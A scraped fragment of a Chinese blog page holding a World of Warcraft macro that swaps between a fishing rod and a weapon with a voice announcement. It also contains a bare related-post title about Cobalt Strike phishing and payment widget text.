run C_VoiceChat.SpeakText(0, "钓鱼模式，已装配鱼竿", Enum.VoiceTtsDestination.LocalPlayback, 0, 100)/run C_VoiceChat.SpeakText(0, "默认模式，已装配武器", Enum.VoiceTtsDestination.LocalPlayback, 0, 100)/equip 这个是武器切换，/equip 精致的卡鲁亚克鱼竿 这个是你的鱼竿，其他都可不用动，还有语音提示哦。/equip 无尽寒冬。
CS钓鱼邮件攻击
J1nmu的博客
05-18 1424
CS邮件钓鱼攻击
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值